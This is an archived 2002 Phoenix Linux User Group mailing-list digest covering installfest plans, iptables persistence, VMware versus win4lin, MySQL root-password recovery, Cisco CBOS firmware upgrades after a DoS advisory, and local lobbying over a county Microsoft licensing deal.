Date: 10 Jun 2002 15:59:15 -0700 Subject: Installfest Question (Yet another) Message-ID: <200206102300.TAA29368@hostinworld6.com> Regarding Macs, If I bring one of mine and a MkLinux CD, will someone help me install. I don't want to mis-partition it and be stuck w/o a working computer (1 is too many) because I don't have a MacOS CD for it if I have to re-install it. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 23:17:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Mon, 10 Jun 2002 16:17:26 -0700 (PDT) Subject: Linux on Comedy Central? Message-ID: <20020610231726.83489.qmail@web13406.mail.yahoo.com> Hey all, Just thought I'd share something interesting with you. I don't know if any of you watch Comedy Central to regularly but there is a show on there called "Crank Yankers". It's a bunch of puppets and prank calls. Well one of the calls was from "Special Ed" to a tech support line. To my surprise there was a giant Linux poster (Linux Inside) on the back of the wall :). Wonder where it will make its appearance next? Maybe some trippy anime show on the Cartoon Network starring Tux. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 00:27:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 10 Jun 2002 17:27:47 -0700 Subject: iptables missing after reboot (what I found) References: <3CFB9191.439F15F2@earthlink.net> Message-ID: <3D054403.D590116A@earthlink.net> Thank you all for the help! When I started to really dig in, I discovered the Mandrake 8.1 I use does indeed have some scripts in /etc/rc.d for farewall stuff! I put in an 'echo' to print a message on boot to wee where it was coming up in. What I saw was the rc.firewall script was executing first, but I saw other messages that again flushed the rules and ended up with a default. Well that default was /etc/sysconfig/iptables was being executed by /etc/rc.d/rc.sysinit. I then discovered I could get the initial rule set up and use 'service iptables save' to save then in the /etc/sysconfig/iptables. I left the rc.firewall as is since it doesn't seem to hurt anything. Now I just have to continue to learn iptables to bring up the security to a respectable level. pete From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 00:52:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 17:52:04 -0700 Subject: Installfest Suggestion Message-ID: <200206110052.UAA01113@hostinworld6.com> This is seperate from my other question regarding the installfest. Has anyone considered bringing some SuSE Live Eval CDs for those who just want to try linux? I'd be willing to burn half a dozen copies or so if no one else is already planning on bringing it. I found it the least "stressful" of all dual boots and it takes up a minimal amount of HD space but the drawback is that it runs from the CD. Still this would allow people to dip their toe in a "user-friendly" Linux pond. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 02:10:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 10 Jun 2002 22:10:24 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> Message-ID: <3D055C10.29367AC0@georgetoft.com> My experience with vmware is very positive. Issues with vmware: - I cannot listen to Internet Radio at kccnfm100.com. Even with four new software downloads, three reboots (virtual), and 2 crashes, all I got was static. - vmware does not do streaming media via USB. Want to use a USB camera? Forget it. - vmware with sound is usually preceeded with a loud pop. - vmware does not support directx very well (if at all). Other than that, it lets me do my taxes, browse using IE 5.5, and gives me blue screens, just like the real thing. George Mike Porter wrote: > > Ok, this is intriguing to me. I am looking to migrate my house over to Linux, but I have some apps for which I cannot find comparable *nix substitutes. (Believe it or not, the request to move torward Linux is at my wife's request) > > So, those who have experienced VMware, win4lin, and the like, can you offer me your best suggestions as far as which you prefer and which flavor of Linux you believe is most solid with your choice? Also, any gotchas that you can think of would be most helpful. > > Also, has anyone run into problems with accessing Windows only devices using either of these options? > > Mike > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Sunday, May 26, 2002 9:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Cc: punkmmiv@cox.net > Subject: Re: Windows and Linux > > On 26 May 2002 22:44:49 -0700 > Matt wrote: > > > I know that Windows and Linux are supposed to operate pretty well > > together, but the only articles I've read are about installing Linux > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > was wondering if it's possible to install Windows on it while still > > being able to use my current install? > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > environment. Unlike VMWare and friends it is not a VM. Also, unlike > WINE it actually works and works well. It will even let windows use > (read/write) to your GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 02:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 10 Jun 2002 22:24:21 -0400 Subject: mysqld References: <1023371676.4787.3.camel@barney.azapple.com> Message-ID: <3D055F55.8B987EFD@georgetoft.com> Craig White wrote: > > dummy me - I started the mysqld without a password and now I can't log > in to make changes and set up users. How can I log in without a > password? It won't let me log in without a password but there never was > any - it's a new installation. > > Craig > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss My notes on how to break into, er, I mean, change the root password for mysql: # killall mysqld # safe_mysqld -Sg & # mysql mysql mysql> select * from user; mysql> update user set Password=password("newpasswd") where User="root"; (or whatever your root user is called) George From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:01:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Mon, 10 Jun 2002 20:01:41 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> Message-ID: <3D056815.5080304@earthlink.net> Hahaha... You right I should probably get some of heathens like myslef and creat our own distro. I wonder what should I name it? and how many people will I piss of with this one. Greg Tom Achtenberg wrote: >If you want a distr aimed at whatever it is you believe or don't believe, >program it, or get some like minded people to do it. > >The wars are more due to ignorence, not religion. > >On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > > >>How about a linux distro specifically for non-christians? Buddists? >> Muslims? Hindu? >> >>btw: why everything on this planet has to be about religion? Isn't >>this why we have so >>many wars? >> >>Greg >> >>dennisk@sahuaro.f2s.com wrote: >> >> >>>Looking for something else on Google I stumbled on to The Linux for >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: >>> >>>This is a very new site dedicated to the Christian use of one of my >>>favorite OS's, Linux! What you will see here (provided you keep coming >>>back) is a repository of information pertaining to, how to, and why to, >>>use Linux as a Christian and in a Christian organization. >>> >>>And then there is: >>> >>>http://www.christianlinux.com/ >>> >>>I wonder if the LWN Penguin Gallery has their version of Tux wearing a >>>crusifix! >>> >>>Dennis >>> >>>------------------------------------------------- >>>Everyone should have http://www.freedom2surf.net/ >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:05:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg Furmanek) Date: Mon, 10 Jun 2002 20:05:37 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> Message-ID: <3D056901.3060507@earthlink.net> HAHAHA... good humor. I loved this one. btw. I should start my own cult of "VIM" editor. any followers? Greg David A. Sinck wrote: >\_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: >\_ >\_ How about a linux distro specifically for non-christians? Buddists? >\_ Muslims? Hindu? >\_ >\_ btw: why everything on this planet has to be about religion? Isn't >\_ this why we have so >\_ many wars? > >No, we have so many wars because of people using the wrong editor. > > >Die infidel (emacs|vi) user, die! > >:-) > >http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html > > >David >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:22:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:22:17 -0700 (MST) Subject: Installfest Question (Yet another) In-Reply-To: <200206102300.TAA29368@hostinworld6.com> Message-ID: Am 10. Jun, 2002 schwätzte Bryce C. so: > Regarding Macs, If I bring one of mine and a MkLinux CD, will someone > help me install. I don't want to mis-partition it and be stuck w/o a > working computer (1 is too many) because I don't have a MacOS CD for it > if I have to re-install it. If you don't have a way to reinstall the old system install on a different disk and disconnect the original. Alternatively copy the original and make sure the new disk works. ciao, der.hans -- # https://www.LuftHans.com/ # The most likely way for the world to be destroyed, most experts agree, # is by accident. That's where we come in; we're computer professionals. # We cause accidents. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:29:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:29:54 -0700 (MST) Subject: Installfest Suggestion In-Reply-To: <200206110052.UAA01113@hostinworld6.com> Message-ID: Am 10. Jun, 2002 schwätzte Bryce C. so: > This is seperate from my other question regarding the installfest. > Has anyone considered bringing some SuSE Live Eval CDs for those who > just want to try linux? I'd be willing to burn half a dozen copies or > so if no one else is already planning on bringing it. I found it the > least "stressful" of all dual boots and it takes up a minimal amount of > HD space but the drawback is that it runs from the CD. Still this would > allow people to dip their toe in a "user-friendly" Linux pond. I believe Live Eval CDs are amongst the swag we got ( are getting? ) from SuSE. Yes, I hope we have plenty to give out. A few bootable business cards would be good too. I'll check on those. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:31:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 20:31:05 -0700 (MST) Subject: iptables missing after reboot (what I found) In-Reply-To: <3D054403.D590116A@earthlink.net> Message-ID: Am 10. Jun, 2002 schwätzte mazdaracer so: > seem to hurt anything. Now I just have to continue to learn iptables to > bring up the security to a respectable level. See if Mandrake has FireStarter. For a simple firewall ( e.g. one connection to the Net and one connection to the LAN ) it's pretty good. The script it writes is also fairly easy to read. ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:21:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 10 Jun 2002 20:21:15 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <1023765677.19026.8.camel@desktop.capnet.lan> --=-rerC75alkXehU1c5RK7g Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-06-10 at 20:01, Greg Furmanek wrote: > Hahaha... >=20 > You right I should probably get some of heathens like myslef and creat=20 > our own distro. >=20 > I wonder what should I name it? and how many people will I piss of with=20 > this one. >=20 PaganLinux. Can't get much more heathen than that. --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-rerC75alkXehU1c5RK7g Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9BWyr6He1yLs+JHwRAjQyAKDSiv3vHnIhGBFIYhEMeEydmp7BQgCeMWaj Dn5j3E1Gid26R3zoNmOm9Vw= =OXfC -----END PGP SIGNATURE----- --=-rerC75alkXehU1c5RK7g-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:21:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Mon, 10 Jun 2002 20:21:24 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint In-Reply-To: <3D051313.1030805@milagrosoft.com> Message-ID: <002101c210f7$11865ce0$0a64a8c0@internal.nutsac.org> It's qworst, you expect anything more? http://www.cisco.com/warp/public/794/675_faq.shtml Zmodem transfers are rather painful, I'd say look into the password recovery steps (if you don't know your pw) listed on that page and tftp it. Set the eth0 ip as it says, enable tftp on the router, and "man tftp". http://nutsac.org/stuff/c675.2.4.5.bin -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Eric Richardson Sent: Monday, June 10, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Cisco DoS required CBOS upgrade- Qwest complaint Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: http://www.cisco.com/warp/public/707/CBOS-DoS.shtml As > indicated, I called Qwest- the provider of my modem. The first person I > talked to transfered me to another department. Without talking to anyone > at all, just following the prompts provided by the voice mail system, I > was able to get right back where I originally started, with DSL Tech > support. This time I was told that they had just received a memo regarding > the updated software but that he didn't know anything more regarding the > memo. This was either 5-28 or 5-29. I emailed Cisco, based upon their > press release to attempt to get the update from them as I was unsuccessful > with getting anything from Qwest. Their response is the following website: > http://www.qwest.com/dsl/customerservice/modemsupport.html which as of > 9:00am 5-31-2002 indicated that they are working on getting the software > ready for use by their customers. This software has been available since > 5-23 from Cisco, but since Qwest DSL users purchase their modems from > Qwest, Cisco indicates that it is Qwest's responsibility to provide the > upgrades. I would have no problem with that if Qwest fulfilled this > responsibility with their customers, of which I am only one. I have > recontacted Cisco in regards to the unavailability of the upgrade on > Qwest's site and I seem to be in a support loop waiting for a human to > read my email. > > I believe that this deserves the attention of the Corporation Commission > as it represents a shortfall in the quality of service provided by a > public utility. > > > from 5-13-02 Eric Richardson wrote: Hi, Is there a way to get the CBOS 2.4.3 for a 675 and install it with Linux via the terminal port and a com program. I have tried connecting via modem serial port but I'm not really sure how to do the upgrade. I'm in routing mode so I don't think I can use the tftp procedure as the router doesn't have a IP address. Any help appreciated, Thanks for the help / encouragement. I wanted to send an update on my findings. I didn't know that the .exe format is a zip format - that is interesting. I found a place on line for the firmware. http://postyware.dyndns.org/cisco-firmware Note that the images are different based on the original CBOS version. In my case this was 2.2.0. I tried to use the tftp program to download the code but had no luck. I'm using Debian 2.2 so I was able to apt-get tftp. I installed minicom to communicate to the router but what I did wrong was I did not install lrzsz which contains the kermit, xyz/modem stuff. I thought perhaps the option were wrong so I went to look at the man pages for sx (send xmodem) and it was there so then I knew I was a dummy. I found that the lrzsz was recommended but not a dependency for minicom. Finally, after I had the right software but still no luck, I decided to try zmodem which didn't work and then ymodem which worked. I have no idea why xmodem didn't work but ymodem did. I upgraded to 2.4.4 and all seems well. I use FastQ and they are finding that the PPP mode rather than the routing mode is more stable so eventually they will be moving customers that direction. Is anybody using the filtering, NAT, DHCP with cisco and what features for the Linux firewall. Maybe this is better for another thread. Eric ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@pluglist.mybutt.net http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:38:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 10 Jun 2002 20:38:58 -0700 Subject: Installfest Suggestion In-Reply-To: References: Message-ID: <200206102038.58858.alandd@mindspring.com> I got the shipment of goodies from SuSE today. It includes 10-12 7.2 live eval discs. Alan On Monday 10 June 2002 08:29 pm, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > This is seperate from my other question regarding the installfest. > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > just want to try linux? I'd be willing to burn half a dozen copies or > > so if no one else is already planning on bringing it. I found it the > > least "stressful" of all dual boots and it takes up a minimal amount of > > HD space but the drawback is that it runs from the CD. Still this would > > allow people to dip their toe in a "user-friendly" Linux pond. > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > SuSE. Yes, I hope we have plenty to give out. > > A few bootable business cards would be good too. I'll check on those. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:03:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 10 Jun 2002 21:03:00 -0700 Subject: Linux on Comedy Central? References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> Message-ID: <3D057674.5287D130@leml.asu.edu> bob smith wrote: > > Hey all, > Just thought I'd share something interesting with you. > I don't know if any of you watch Comedy Central to > regularly but there is a show on there called "Crank > Yankers". It's a bunch of puppets and prank calls. > Well one of the calls was from "Special Ed" to a tech > support line. To my surprise there was a giant Linux > poster (Linux Inside) on the back of the wall :). > > Wonder where it will make its appearance next? Maybe > some trippy anime show on the Cartoon Network starring Tux. What was the old cartoon penguin named? His new nephew *IS* out beloved Tux ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Mon, 10 Jun 2002 20:58:09 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <20020611035809.GA3744@tank.ph.cox.net> You realize that there is already an undead Linux distro, right? Freshmeat.net has a link to it, IINM. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org:8080 On Mon, Jun 10, 2002 at 08:01:41PM -0700, Greg Furmanek wrote: > Hahaha... > > You right I should probably get some of heathens like myslef and creat > our own distro. > > I wonder what should I name it? and how many people will I piss of with > this one. > > Greg > > Tom Achtenberg wrote: > > >If you want a distr aimed at whatever it is you believe or don't believe, > >program it, or get some like minded people to do it. > > > >The wars are more due to ignorence, not religion. > > > >On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > > > > > >>How about a linux distro specifically for non-christians? Buddists? > >>Muslims? Hindu? > >> > >>btw: why everything on this planet has to be about religion? Isn't > >>this why we have so > >>many wars? > >> > >>Greg > >> > >>dennisk@sahuaro.f2s.com wrote: > >> > >> > >>>Looking for something else on Google I stumbled on to The Linux for > >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > >>> > >>>This is a very new site dedicated to the Christian use of one of my > >>>favorite OS's, Linux! What you will see here (provided you keep coming > >>>back) is a repository of information pertaining to, how to, and why to, > >>>use Linux as a Christian and in a Christian organization. > >>> > >>>And then there is: > >>> > >>>http://www.christianlinux.com/ > >>> > >>>I wonder if the LWN Penguin Gallery has their version of Tux wearing a > >>>crusifix! > >>> > >>>Dennis > >>> > >>>------------------------------------------------- > >>>Everyone should have http://www.freedom2surf.net/ > >>>________________________________________________ > >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>post to the list quickly and you use Netscape to write mail. > >>> > >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>> > >>> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > >> > > > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:15:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 21:15:03 -0700 Subject: Installfest Question (Yet another) In-Reply-To: Message-ID: <200206110415.AAA03429@hostinworld6.com> That was sort of my problem. I don't have the money to buy a scsi drive for a 7 year old mac. On 10 Jun 2002 20:22:17 -0700, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > > Regarding Macs, If I bring one of mine and a MkLinux CD, will someone > > help me install. I don't want to mis-partition it and be stuck w/o a > > working computer (1 is too many) because I don't have a MacOS CD for it > > if I have to re-install it. > > If you don't have a way to reinstall the old system install on a different > disk and disconnect the original. > > Alternatively copy the original and make sure the new disk works. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # The most likely way for the world to be destroyed, most experts agree, > # is by accident. That's where we come in; we're computer professionals. > # We cause accidents. -- Nathaniel Borenstein > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:26:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 10 Jun 2002 21:26:56 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> Message-ID: <200206102127.00567.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I sent my two cents to a few leg. and I got a couple replys back. Here they are, maybe if we get a ton of people to write in to these two... ~~~~~~~ Sandi Wilson - OMBX Nathan: My name is Sandi Wilson. I am the Deputy County Administrator for Maricopa County. The budget for Maricopa County will be presented to the Board of Supervisors on June 17th with the tentative budget approved on that day. Final budget adoption will occur on July 22. That is the date set for the public hearing, as well. The budget has money reserved for an enterprise agreement, but it will not be appropriated (or approved) with the adoption of the budget. So . . . the Board will consider this item at a later date, if the Chief Information Officer decides to proceed with this item. Regarding the agreement itself, I will direct that question to the CIO's Office. Thank you for your interest in the budget. Sandi Wilson Deputy County Administrator Office of Management and Budget ~~~~~~~~~~ Paul Allsing - EGOVX Mr. England, My name is Paul Allsing. I am the Deputy CIO for Maricopa County. I have received and reviewed your comments on the Microsoft Enterprise Agreement. Thank you for your input into this issue. We have and will continue to consider all options to best meet the County's computing needs. I will retain your note for reference purposes, and bear in mind the issues you have raised relative to the possible applicability of Open Source software at Maricopa County. Thank you for your interest in the County's technology plans. Paul Allsing Deputy CIO Maricopa County 301 W Jefferson, Suite 420 Phoenix, AZ 85003 Maybe they are templates they have sent to everyone who writes them about the topic, but they sound interested in me enough to respect their reply. Am Montag 10 Juni 2002 07:44 vormittags schrieb Tom Achtenberg: > Don't forget to contact you local school boards too!! > > > -----Original Message----- > From: Derek Neighbors [mailto:derek@gnue.org] > Sent: Friday, June 07, 2002 4:20 PM > To: 'plug-discuss@lists.plug.phoenix.az.us' > Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement > > > If you want your government to stop using Microsoft Products now is the > time to have your voice heard. It starts with local government. If you > didnt know the State of Arizona budget is in the dumps, because all > governments under them (read county and city) get large sums of money > from the State they are hurting for money. > > It just so happens that this July is when most of the local governments > start a new fiscal year, which means this June (now) they are ADOPTING > budgets (planned spending) for the upcoming fiscal year. Many of them are > faced with the choice on whether to renew Microsoft's 'Enterprise > Agreement' stiff arm. > > I urge you to PLEASE PLEASE PLEASE contact your district council person > (maricopa county) and your city council people and simply ask them. > > a. Do they plan to approve funding for the Enterprise Agreement? > b. If they do plan to do so, please provide you with a copy of the > agreement and the dollar amount to be expended. > c. When they will be hearing from the public on the budget, so if they are > adopting you can have your voice heard publicly. > > > It may sound funny but I can speak from REAL experience if a council > person gets as few as 10 requests that are similar a red flag will be > raised and they will grill their technology departments on it. > > I have contacted the Town of Gilbert and Maricopa County already to > recieve such information, I suggest others follow and use your power as a > citizen to make a difference. We have no one to blame but ourselves if we > dont start to take a stand. > > > I dont have town information but county information is as follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BXwUQ7yNnsYcupwRAsvuAKCUG6yAqIVE3ZyO4zBnTUnIIbmTXwCcCD90 Bu/ig4HWNuout9bAIH3Wy0M= =GGxh -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:29:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 21:29:04 -0700 Subject: Installfest Suggestion In-Reply-To: <200206102038.58858.alandd@mindspring.com> References: <200206102038.58858.alandd@mindspring.com> Message-ID: <200206110429.AAA07749@hostinworld6.com> I'm burning the 8.0 discs from their ftp. On 10 Jun 2002 20:38:58 -0700, Alan Dayley wrote: > I got the shipment of goodies from SuSE today. It includes 10-12 7.2 live > eval discs. > > Alan > > On Monday 10 June 2002 08:29 pm, der.hans wrote: > > Am 10. Jun, 2002 schwätzte Bryce C. so: > > > This is seperate from my other question regarding the installfest. > > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > > just want to try linux? I'd be willing to burn half a dozen copies or > > > so if no one else is already planning on bringing it. I found it the > > > least "stressful" of all dual boots and it takes up a minimal amount of > > > HD space but the drawback is that it runs from the CD. Still this would > > > allow people to dip their toe in a "user-friendly" Linux pond. > > > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > > SuSE. Yes, I hope we have plenty to give out. > > > > A few bootable business cards would be good too. I'll check on those. > > > > ciao, > > > > der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:50:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 21:50:38 -0700 Subject: Linux on Comedy Central? In-Reply-To: <3D057674.5287D130@leml.asu.edu> References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> <3D057674.5287D130@leml.asu.edu> Message-ID: <20020610215038.23516f7e.derek@gnue.org> chillywilly? http://members.gtw.net/~taylor/mike/chilly/chilly0.htm > What was the old cartoon penguin named? His new nephew *IS* out > beloved Tux ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 04:59:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 